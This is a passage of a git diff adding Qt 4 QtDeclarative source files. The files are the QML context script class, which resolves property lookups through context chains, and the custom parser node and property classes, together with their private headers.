+ QDeclarativeGuardedContextData &operator=(const QDeclarativeGuardedContextData &);
+ QDeclarativeGuardedContextData(const QDeclarativeGuardedContextData &);
+ friend class QDeclarativeContextData;
+
+ inline void clear();
+
+ QDeclarativeContextData *m_contextData;
+ QDeclarativeGuardedContextData *m_next;
+ QDeclarativeGuardedContextData **m_prev;
+};
+
+QDeclarativeGuardedContextData::QDeclarativeGuardedContextData()
+: m_contextData(0), m_next(0), m_prev(0)
+{
+}
+
+QDeclarativeGuardedContextData::QDeclarativeGuardedContextData(QDeclarativeContextData *data)
+: m_contextData(0), m_next(0), m_prev(0)
+{
+ setContextData(data);
+}
+
+QDeclarativeGuardedContextData::~QDeclarativeGuardedContextData()
+{
+ clear();
+}
+
+void QDeclarativeGuardedContextData::setContextData(QDeclarativeContextData *contextData)
+{
+ clear();
+
+ if (contextData) {
+ m_contextData = contextData;
+ m_next = contextData->contextGuards;
+ if (m_next) m_next->m_prev = &m_next;
+ m_prev = &contextData->contextGuards;
+ contextData->contextGuards = this;
+ }
+}
+
+QDeclarativeContextData *QDeclarativeGuardedContextData::contextData()
+{
+ return m_contextData;
+}
+
+void QDeclarativeGuardedContextData::clear()
+{
+ if (m_prev) {
+ *m_prev = m_next;
+ if (m_next) m_next->m_prev = m_prev;
+ m_contextData = 0;
+ m_next = 0;
+ m_prev = 0;
+ }
+}
+
+QDeclarativeGuardedContextData &
+QDeclarativeGuardedContextData::operator=(QDeclarativeContextData *d)
+{
+ setContextData(d);
+ return *this;
+}
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVECONTEXT_P_H
diff --git a/src/declarative/qml/qdeclarativecontextscriptclass.cpp b/src/declarative/qml/qdeclarativecontextscriptclass.cpp
new file mode 100644
index 00000000..c3b40273
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecontextscriptclass.cpp
@@ -0,0 +1,335 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativecontextscriptclass_p.h"
+
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativetypenamescriptclass_p.h"
+#include "private/qdeclarativelistscriptclass_p.h"
+#include "private/qdeclarativeguard_p.h"
+
+QT_BEGIN_NAMESPACE
+
+struct ContextData : public QScriptDeclarativeClass::Object {
+ ContextData() : overrideObject(0), isSharedContext(true) {}
+ ContextData(QDeclarativeContextData *c, QObject *o)
+ : context(c), scopeObject(o), overrideObject(0), isSharedContext(false), isUrlContext(false) {}
+ QDeclarativeGuardedContextData context;
+ QDeclarativeGuard<QObject> scopeObject;
+ QObject *overrideObject;
+ bool isSharedContext:1;
+ bool isUrlContext:1;
+
+ QDeclarativeContextData *getContext(QDeclarativeEngine *engine) {
+ if (isSharedContext) {
+ return QDeclarativeEnginePrivate::get(engine)->sharedContext;
+ } else {
+ return context.contextData();
+ }
+ }
+
+ QObject *getScope(QDeclarativeEngine *engine) {
+ if (isSharedContext) {
+ return QDeclarativeEnginePrivate::get(engine)->sharedScope;
+ } else {
+ return scopeObject.data();
+ }
+ }
+};
+
+struct UrlContextData : public ContextData {
+ UrlContextData(QDeclarativeContextData *c, QObject *o, const QString &u)
+ : ContextData(c, o), url(u) {
+ isUrlContext = true;
+ }
+ UrlContextData(const QString &u)
+ : ContextData(0, 0), url(u) {
+ isUrlContext = true;
+ }
+ QString url;
+};
+
+/*
+ The QDeclarativeContextScriptClass handles property access for a QDeclarativeContext
+ via QtScript.
+ */
+QDeclarativeContextScriptClass::QDeclarativeContextScriptClass(QDeclarativeEngine *bindEngine)
+: QScriptDeclarativeClass(QDeclarativeEnginePrivate::getScriptEngine(bindEngine)), engine(bindEngine),
+ lastScopeObject(0), lastContext(0), lastData(0), lastPropertyIndex(-1)
+{
+}
+
+QDeclarativeContextScriptClass::~QDeclarativeContextScriptClass()
+{
+}
+
+QScriptValue QDeclarativeContextScriptClass::newContext(QDeclarativeContextData *context, QObject *scopeObject)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ return newObject(scriptEngine, this, new ContextData(context, scopeObject));
+}
+
+QScriptValue QDeclarativeContextScriptClass::newUrlContext(QDeclarativeContextData *context, QObject *scopeObject,
+ const QString &url)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ return newObject(scriptEngine, this, new UrlContextData(context, scopeObject, url));
+}
+
+QScriptValue QDeclarativeContextScriptClass::newUrlContext(const QString &url)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ return newObject(scriptEngine, this, new UrlContextData(url));
+}
+
+QScriptValue QDeclarativeContextScriptClass::newSharedContext()
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ return newObject(scriptEngine, this, new ContextData());
+}
+
+QDeclarativeContextData *QDeclarativeContextScriptClass::contextFromValue(const QScriptValue &v)
+{
+ if (scriptClass(v) != this)
+ return 0;
+
+ ContextData *data = (ContextData *)object(v);
+ return data->getContext(engine);
+}
+
+QUrl QDeclarativeContextScriptClass::urlFromValue(const QScriptValue &v)
+{
+ if (scriptClass(v) != this)
+ return QUrl();
+
+ ContextData *data = (ContextData *)object(v);
+ if (data->isUrlContext) {
+ return QUrl(static_cast<UrlContextData *>(data)->url);
+ } else {
+ return QUrl();
+ }
+}
+
+QObject *QDeclarativeContextScriptClass::setOverrideObject(QScriptValue &v, QObject *override)
+{
+ if (scriptClass(v) != this)
+ return 0;
+
+ ContextData *data = (ContextData *)object(v);
+ QObject *rv = data->overrideObject;
+ data->overrideObject = override;
+ return rv;
+}
+
+QScriptClass::QueryFlags
+QDeclarativeContextScriptClass::queryProperty(Object *object, const Identifier &name,
+ QScriptClass::QueryFlags flags)
+{
+ Q_UNUSED(flags);
+
+ lastScopeObject = 0;
+ lastContext = 0;
+ lastData = 0;
+ lastPropertyIndex = -1;
+
+ QDeclarativeContextData *bindContext = ((ContextData *)object)->getContext(engine);
+ QObject *scopeObject = ((ContextData *)object)->getScope(engine);
+ if (!bindContext)
+ return 0;
+
+ QObject *overrideObject = ((ContextData *)object)->overrideObject;
+ if (overrideObject) {
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ QScriptClass::QueryFlags rv =
+ ep->objectClass->queryProperty(overrideObject, name, flags, bindContext,
+ QDeclarativeObjectScriptClass::ImplicitObject |
+ QDeclarativeObjectScriptClass::SkipAttachedProperties);
+ if (rv) {
+ lastScopeObject = overrideObject;
+ lastContext = bindContext;
+ return rv;
+ }
+ }
+
+ bool includeTypes = true;
+ while (bindContext) {
+ QScriptClass::QueryFlags rv =
+ queryProperty(bindContext, scopeObject, name, flags, includeTypes);
+ scopeObject = 0; // Only applies to the first context
+ includeTypes = false; // Only applies to the first context
+ if (rv) return rv;
+ bindContext = bindContext->parent;
+ }
+
+ return 0;
+}
+
+QScriptClass::QueryFlags
+QDeclarativeContextScriptClass::queryProperty(QDeclarativeContextData *bindContext, QObject *scopeObject,
+ const Identifier &name,
+ QScriptClass::QueryFlags flags,
+ bool includeTypes)
+{
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+
+ lastPropertyIndex = bindContext->propertyNames?bindContext->propertyNames->value(name):-1;
+ if (lastPropertyIndex != -1) {
+ lastContext = bindContext;
+ return QScriptClass::HandlesReadAccess;
+ }
+
+ if (includeTypes && bindContext->imports) {
+ QDeclarativeTypeNameCache::Data *data = bindContext->imports->data(name);
+
+ if (data) {
+ lastData = data;
+ lastContext = bindContext;
+ lastScopeObject = scopeObject;
+ return QScriptClass::HandlesReadAccess;
+ }
+ }
+
+ if (scopeObject) {
+ QScriptClass::QueryFlags rv =
+ ep->objectClass->queryProperty(scopeObject, name, flags, bindContext,
+ QDeclarativeObjectScriptClass::ImplicitObject | QDeclarativeObjectScriptClass::SkipAttachedProperties);
+ if (rv) {
+ lastScopeObject = scopeObject;
+ lastContext = bindContext;
+ return rv;
+ }
+ }
+
+ if (bindContext->contextObject) {
+ QScriptClass::QueryFlags rv =
+ ep->objectClass->queryProperty(bindContext->contextObject, name, flags, bindContext,
+ QDeclarativeObjectScriptClass::ImplicitObject | QDeclarativeObjectScriptClass::SkipAttachedProperties);
+
+ if (rv) {
+ lastScopeObject = bindContext->contextObject;
+ lastContext = bindContext;
+ return rv;
+ }
+ }
+
+ return 0;
+}
+
+QDeclarativeContextScriptClass::Value
+QDeclarativeContextScriptClass::property(Object *object, const Identifier &name)
+{
+ Q_UNUSED(object);
+
+ QDeclarativeContextData *bindContext = lastContext;
+ Q_ASSERT(bindContext);
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ if (lastData) {
+
+ if (lastData->type) {
+ return Value(scriptEngine, ep->typeNameClass->newObject(lastScopeObject, lastData->type));
+ } else if (lastData->typeNamespace) {
+ return Value(scriptEngine, ep->typeNameClass->newObject(lastScopeObject, lastData->typeNamespace));
+ } else {
+ int index = lastData->importedScriptIndex;
+ if (index < bindContext->importedScripts.count()) {
+ return Value(scriptEngine, bindContext->importedScripts.at(index));
+ } else {
+ return Value();
+ }
+ }
+
+ } else if (lastScopeObject) {
+
+ return ep->objectClass->property(lastScopeObject, name);
+
+ } else if (lastPropertyIndex != -1) {
+
+ QScriptValue rv;
+ if (lastPropertyIndex < bindContext->idValueCount) {
+ rv = ep->objectClass->newQObject(bindContext->idValues[lastPropertyIndex].data());
+
+ if (ep->captureProperties)
+ ep->capturedProperties << QDeclarativeEnginePrivate::CapturedProperty(&bindContext->idValues[lastPropertyIndex].bindings);
+ } else {
+ QDeclarativeContextPrivate *cp = bindContext->asQDeclarativeContextPrivate();
+ const QVariant &value = cp->propertyValues.at(lastPropertyIndex);
+ if (value.userType() == qMetaTypeId<QList<QObject*> >()) {
+ rv = ep->listClass->newList(QDeclarativeListProperty<QObject>(bindContext->asQDeclarativeContext(), (void*)lastPropertyIndex, 0, QDeclarativeContextPrivate::context_count, QDeclarativeContextPrivate::context_at), qMetaTypeId<QDeclarativeListProperty<QObject> >());
+ } else {
+ rv = ep->scriptValueFromVariant(value);
+ }
+
+ if (ep->captureProperties)
+ ep->capturedProperties << QDeclarativeEnginePrivate::CapturedProperty(bindContext->asQDeclarativeContext(), -1, lastPropertyIndex + cp->notifyIndex);
+ }
+
+ return Value(scriptEngine, rv);
+
+ } else {
+
+ return Value(scriptEngine, lastFunction);
+
+ }
+}
+
+void QDeclarativeContextScriptClass::setProperty(Object *object, const Identifier &name,
+ const QScriptValue &value)
+{
+ Q_UNUSED(object);
+ Q_ASSERT(lastScopeObject);
+
+ QDeclarativeContextData *bindContext = lastContext;
+ Q_ASSERT(bindContext);
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+
+ ep->objectClass->setProperty(lastScopeObject, name, value, context(), bindContext);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecontextscriptclass_p.h b/src/declarative/qml/qdeclarativecontextscriptclass_p.h
new file mode 100644
index 00000000..6b288d69
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecontextscriptclass_p.h
@@ -0,0 +1,106 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVECONTEXTSCRIPTCLASS_P_H
+#define QDECLARATIVECONTEXTSCRIPTCLASS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativetypenamecache_p.h"
+#include <private/qscriptdeclarativeclass_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngine;
+class QDeclarativeContext;
+class QDeclarativeContextData;
+class QDeclarativeContextScriptClass : public QScriptDeclarativeClass
+{
+public:
+ QDeclarativeContextScriptClass(QDeclarativeEngine *);
+ ~QDeclarativeContextScriptClass();
+
+ QScriptValue newContext(QDeclarativeContextData *, QObject * = 0);
+ QScriptValue newUrlContext(QDeclarativeContextData *, QObject *, const QString &);
+ QScriptValue newUrlContext(const QString &);
+ QScriptValue newSharedContext();
+
+ QDeclarativeContextData *contextFromValue(const QScriptValue &);
+ QUrl urlFromValue(const QScriptValue &);
+
+ QObject *setOverrideObject(QScriptValue &, QObject *);
+
+protected:
+ virtual QScriptClass::QueryFlags queryProperty(Object *, const Identifier &,
+ QScriptClass::QueryFlags flags);
+ virtual Value property(Object *, const Identifier &);
+ virtual void setProperty(Object *, const Identifier &name, const QScriptValue &);
+
+private:
+ QScriptClass::QueryFlags queryProperty(QDeclarativeContextData *, QObject *scopeObject,
+ const Identifier &,
+ QScriptClass::QueryFlags flags,
+ bool includeTypes);
+
+ QDeclarativeEngine *engine;
+
+ QObject *lastScopeObject;
+ QDeclarativeContextData *lastContext;
+ QDeclarativeTypeNameCache::Data *lastData;
+ int lastPropertyIndex;
+ QScriptValue lastFunction;
+
+ uint m_id;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVECONTEXTSCRIPTCLASS_P_H
+
diff --git a/src/declarative/qml/qdeclarativecustomparser.cpp b/src/declarative/qml/qdeclarativecustomparser.cpp
new file mode 100644
index 00000000..b6a25830
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecustomparser.cpp
@@ -0,0 +1,317 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativecustomparser_p.h"
+#include "private/qdeclarativecustomparser_p_p.h"
+
+#include "private/qdeclarativeparser_p.h"
+#include "private/qdeclarativecompiler_p.h"
+
+#include <QtCore/qdebug.h>
+
+QT_BEGIN_NAMESPACE
+
+using namespace QDeclarativeParser;
+
+/*!
+ \class QDeclarativeCustomParser
+ \brief The QDeclarativeCustomParser class allows you to add new arbitrary types to QML.
+ \internal
+
+ By subclassing QDeclarativeCustomParser, you can add a parser for
+ building a particular type.
+
+ The subclass must implement compile() and setCustomData(), and register
+ itself in the meta type system by calling the macro:
+
+ \code
+ QML_REGISTER_CUSTOM_TYPE(Module, MajorVersion, MinorVersion, Name, TypeClass, ParserClass)
+ \endcode
+*/
+
+/*
+ \fn QByteArray QDeclarativeCustomParser::compile(const QList<QDeclarativeCustomParserProperty> & properties)
+
+ The custom parser processes \a properties, and returns
+ a QByteArray containing data meaningful only to the
+ custom parser; the type engine will pass this same data to
+ setCustomData() when making an instance of the data.
+
+ Errors must be reported via the error() functions.
+
+ The QByteArray may be cached between executions of the system, so
+ it must contain correctly-serialized data (not, for example,
+ pointers to stack objects).
+*/
+
+/*
+ \fn void QDeclarativeCustomParser::setCustomData(QObject *object, const QByteArray &data)
+
+ This function sets \a object to have the properties defined
+ by \a data, which is a block of data previously returned by a call
+ to compile().
+
+ Errors should be reported using qmlInfo(object).
+
+ The \a object will be an instance of the TypeClass specified by QML_REGISTER_CUSTOM_TYPE.
+*/
+
+QDeclarativeCustomParserNode
+QDeclarativeCustomParserNodePrivate::fromObject(QDeclarativeParser::Object *root)
+{
+ QDeclarativeCustomParserNode rootNode;
+ rootNode.d->name = root->typeName;
+ rootNode.d->location = root->location.start;
+
+ for(QHash<QByteArray, Property *>::Iterator iter = root->properties.begin();
+ iter != root->properties.end();
+ ++iter) {
+
+ Property *p = *iter;
+
+ rootNode.d->properties << fromProperty(p);
+ }
+
+ if (root->defaultProperty)
+ rootNode.d->properties << fromProperty(root->defaultProperty);
+
+ return rootNode;
+}
+
+QDeclarativeCustomParserProperty
+QDeclarativeCustomParserNodePrivate::fromProperty(QDeclarativeParser::Property *p)
+{
+ QDeclarativeCustomParserProperty prop;
+ prop.d->name = p->name;
+ prop.d->isList = (p->values.count() > 1);
+ prop.d->location = p->location.start;
+
+ if (p->value) {
+ QDeclarativeCustomParserNode node = fromObject(p->value);
+ QList<QDeclarativeCustomParserProperty> props = node.properties();
+ for (int ii = 0; ii < props.count(); ++ii)
+ prop.d->values << QVariant::fromValue(props.at(ii));
+ } else {
+ for(int ii = 0; ii < p->values.count(); ++ii) {
+ QDeclarativeParser::Value *v = p->values.at(ii);
+ v->type = QDeclarativeParser::Value::Literal;
+
+ if(v->object) {
+ QDeclarativeCustomParserNode node = fromObject(v->object);
+ prop.d->values << QVariant::fromValue(node);
+ } else {
+ prop.d->values << QVariant::fromValue(v->value);
+ }
+
+ }
+ }
+
+ return prop;
+}
+
+QDeclarativeCustomParserNode::QDeclarativeCustomParserNode()
+: d(new QDeclarativeCustomParserNodePrivate)
+{
+}
+
+QDeclarativeCustomParserNode::QDeclarativeCustomParserNode(const QDeclarativeCustomParserNode &other)
+: d(new QDeclarativeCustomParserNodePrivate)
+{
+ *this = other;
+}
+
+QDeclarativeCustomParserNode &QDeclarativeCustomParserNode::operator=(const QDeclarativeCustomParserNode &other)
+{
+ d->name = other.d->name;
+ d->properties = other.d->properties;
+ d->location = other.d->location;
+ return *this;
+}
+
+QDeclarativeCustomParserNode::~QDeclarativeCustomParserNode()
+{
+ delete d; d = 0;
+}
+
+QByteArray QDeclarativeCustomParserNode::name() const
+{
+ return d->name;
+}
+
+QList<QDeclarativeCustomParserProperty> QDeclarativeCustomParserNode::properties() const
+{
+ return d->properties;
+}
+
+QDeclarativeParser::Location QDeclarativeCustomParserNode::location() const
+{
+ return d->location;
+}
+
+QDeclarativeCustomParserProperty::QDeclarativeCustomParserProperty()
+: d(new QDeclarativeCustomParserPropertyPrivate)
+{
+}
+
+QDeclarativeCustomParserProperty::QDeclarativeCustomParserProperty(const QDeclarativeCustomParserProperty &other)
+: d(new QDeclarativeCustomParserPropertyPrivate)
+{
+ *this = other;
+}
+
+QDeclarativeCustomParserProperty &QDeclarativeCustomParserProperty::operator=(const QDeclarativeCustomParserProperty &other)
+{
+ d->name = other.d->name;
+ d->isList = other.d->isList;
+ d->values = other.d->values;
+ d->location = other.d->location;
+ return *this;
+}
+
+QDeclarativeCustomParserProperty::~QDeclarativeCustomParserProperty()
+{
+ delete d; d = 0;
+}
+
+QByteArray QDeclarativeCustomParserProperty::name() const
+{
+ return d->name;
+}
+
+bool QDeclarativeCustomParserProperty::isList() const
+{
+ return d->isList;
+}
+
+QDeclarativeParser::Location QDeclarativeCustomParserProperty::location() const
+{
+ return d->location;
+}
+
+QList<QVariant> QDeclarativeCustomParserProperty::assignedValues() const
+{
+ return d->values;
+}
+
+void QDeclarativeCustomParser::clearErrors()
+{
+ exceptions.clear();
+}
+
+/*!
+ Reports an error with the given \a description.
+
+ This can only be used during the compile() step. For errors during setCustomData(), use qmlInfo().
+
+ An error is generated referring to the position of the element in the source file.
+*/
+void QDeclarativeCustomParser::error(const QString& description)
+{
+ Q_ASSERT(object);
+ QDeclarativeError error;
+ QString exceptionDescription;
+ error.setLine(object->location.start.line);
+ error.setColumn(object->location.start.column);
+ error.setDescription(description);
+ exceptions << error;
+}
+
+/*!
+ Reports an error in parsing \a prop, with the given \a description.
+
+ An error is generated referring to the position of \a node in the source file.
+*/
+void QDeclarativeCustomParser::error(const QDeclarativeCustomParserProperty& prop, const QString& description)
+{
+ QDeclarativeError error;
+ QString exceptionDescription;
+ error.setLine(prop.location().line);
+ error.setColumn(prop.location().column);
+ error.setDescription(description);
+ exceptions << error;
+}
+
+/*!
+ Reports an error in parsing \a node, with the given \a description.
+
+ An error is generated referring to the position of \a node in the source file.
+*/
+void QDeclarativeCustomParser::error(const QDeclarativeCustomParserNode& node, const QString& description)
+{
+ QDeclarativeError error;
+ QString exceptionDescription;
+ error.setLine(node.location().line);
+ error.setColumn(node.location().column);
+ error.setDescription(description);
+ exceptions << error;
+}
+
+/*!
+ If \a script is a simply enum expression (eg. Text.AlignLeft),
+ returns the integer equivalent (eg. 1).
+
+ Otherwise, returns -1.
+*/
+int QDeclarativeCustomParser::evaluateEnum(const QByteArray& script) const
+{
+ return compiler->evaluateEnum(script);
+}
+
+/*!
+ Resolves \a name to a type, or 0 if it is not a type. This can be used
+ to type-check object nodes.
+*/
+const QMetaObject *QDeclarativeCustomParser::resolveType(const QByteArray& name) const
+{
+ return compiler->resolveType(name);
+}
+
+/*!
+ Rewrites \a expression and returns an identifier that can be
+ used to construct the binding later. \a name
+ is used as the name of the rewritten function.
+*/
+QDeclarativeBinding::Identifier QDeclarativeCustomParser::rewriteBinding(const QString& expression, const QByteArray& name)
+{
+ return compiler->rewriteBinding(expression, name);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecustomparser_p.h b/src/declarative/qml/qdeclarativecustomparser_p.h
new file mode 100644
index 00000000..41b52258
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecustomparser_p.h
@@ -0,0 +1,167 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVECUSTOMPARSER_H
+#define QDECLARATIVECUSTOMPARSER_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativemetatype_p.h"
+#include "qdeclarativeerror.h"
+#include "private/qdeclarativeparser_p.h"
+#include "private/qdeclarativebinding_p.h"
+
+#include <QtCore/qbytearray.h>
+#include <QtCore/qxmlstream.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeCompiler;
+
+class QDeclarativeCustomParserPropertyPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeCustomParserProperty
+{
+public:
+ QDeclarativeCustomParserProperty();
+ QDeclarativeCustomParserProperty(const QDeclarativeCustomParserProperty &);
+ QDeclarativeCustomParserProperty &operator=(const QDeclarativeCustomParserProperty &);
+ ~QDeclarativeCustomParserProperty();
+
+ QByteArray name() const;
+ QDeclarativeParser::Location location() const;
+
+ bool isList() const;
+ // Will be one of QDeclarativeParser::Variant, QDeclarativeCustomParserProperty or
+ // QDeclarativeCustomParserNode
+ QList<QVariant> assignedValues() const;
+
+private:
+ friend class QDeclarativeCustomParserNodePrivate;
+ friend class QDeclarativeCustomParserPropertyPrivate;
+ QDeclarativeCustomParserPropertyPrivate *d;
+};
+
+class QDeclarativeCustomParserNodePrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeCustomParserNode
+{
+public:
+ QDeclarativeCustomParserNode();
+ QDeclarativeCustomParserNode(const QDeclarativeCustomParserNode &);
+ QDeclarativeCustomParserNode &operator=(const QDeclarativeCustomParserNode &);
+ ~QDeclarativeCustomParserNode();
+
+ QByteArray name() const;
+ QDeclarativeParser::Location location() const;
+
+ QList<QDeclarativeCustomParserProperty> properties() const;
+
+private:
+ friend class QDeclarativeCustomParserNodePrivate;
+ QDeclarativeCustomParserNodePrivate *d;
+};
+
+class Q_DECLARATIVE_EXPORT QDeclarativeCustomParser
+{
+public:
+ enum Flag {
+ NoFlag = 0x00000000,
+ AcceptsAttachedProperties = 0x00000001
+ };
+ Q_DECLARE_FLAGS(Flags, Flag)
+
+ QDeclarativeCustomParser() : compiler(0), object(0), m_flags(NoFlag) {}
+ QDeclarativeCustomParser(Flags f) : compiler(0), object(0), m_flags(f) {}
+ virtual ~QDeclarativeCustomParser() {}
+
+ void clearErrors();
+ Flags flags() const { return m_flags; }
+
+ virtual QByteArray compile(const QList<QDeclarativeCustomParserProperty> &)=0;
+ virtual void setCustomData(QObject *, const QByteArray &)=0;
+
+ QList<QDeclarativeError> errors() const { return exceptions; }
+
+protected:
+ void error(const QString& description);
+ void error(const QDeclarativeCustomParserProperty&, const QString& description);
+ void error(const QDeclarativeCustomParserNode&, const QString& description);
+
+ int evaluateEnum(const QByteArray&) const;
+
+ const QMetaObject *resolveType(const QByteArray&) const;
+
+ QDeclarativeBinding::Identifier rewriteBinding(const QString&, const QByteArray&);
+
+private:
+ QList<QDeclarativeError> exceptions;
+ QDeclarativeCompiler *compiler;
+ QDeclarativeParser::Object *object;
+ Flags m_flags;
+ friend class QDeclarativeCompiler;
+};
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeCustomParser::Flags);
+
+#if 0
+#define QML_REGISTER_CUSTOM_TYPE(URI, VERSION_MAJ, VERSION_MIN, NAME, TYPE, CUSTOMTYPE) \
+ qmlRegisterCustomType<TYPE>(#URI, VERSION_MAJ, VERSION_MIN, #NAME, #TYPE, new CUSTOMTYPE)
+#endif
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QDeclarativeCustomParserProperty)
+Q_DECLARE_METATYPE(QDeclarativeCustomParserNode)
+
+QT_END_HEADER
+
+#endif
